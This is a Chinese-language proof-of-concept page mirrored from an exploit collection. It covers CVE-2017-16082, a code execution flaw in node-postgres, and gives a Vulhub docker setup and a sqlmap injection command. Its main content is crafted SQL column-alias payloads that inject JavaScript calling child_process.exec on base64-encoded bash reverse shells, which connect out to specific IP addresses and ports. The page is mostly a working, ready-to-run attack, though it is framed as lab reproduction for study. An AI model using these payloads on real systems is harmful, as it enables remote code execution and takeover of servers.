mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 10:50:23 +00:00
54 lines
2.1 KiB
Markdown
54 lines
2.1 KiB
Markdown
|
|
# node-postgres 代码执行漏洞 CVE-2017-16082
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
node-postgres在处理类型为`Row Description`的postgres返回包时,将字段名拼接到代码中。由于没有进行合理转义,导致一个特殊构造的字段名可逃逸出代码单引号限制,造成代码执行漏洞。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
|
|||
|
|
- https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability
|
|||
|
|
- https://zhuanlan.zhihu.com/p/28575189
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub编译及运行环境:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker-compose build
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
成功运行后,访问`http://your-ip:3000/?id=1`即可查看到id为1的用户信息。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
用sqlmap即可发现此处存在注入点,且数据库为postgres:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
python sqlmap.py -u http://your-ip:3000/?id=1 --dbs
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
那么,我们就可以猜测这里存在node-postgres的代码执行漏洞。编写我想执行的命令`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`,然后适当分割(每段长度不超过64字符)后替换在如下payload中:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3R`+/*", 4 AS "*/`jcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo= |base64 -d|bash`)//"
|
|||
|
|
|
|||
|
|
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvd`+/*", 4 AS "*/`GNwLzEwMS40Mi4yMzcuNjEvMjMzMyAwPiYx |base64 -d|bash`)//"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
将上述payload编码后发送:
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
成功执行命令,如反弹shell:
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
因为复现过程中坑比较多,payload生成与测试过程中如果出现错误,还请多多阅读[P师傅的这篇文章](https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html),从原理上找到问题所在。
|
|||
|
|
|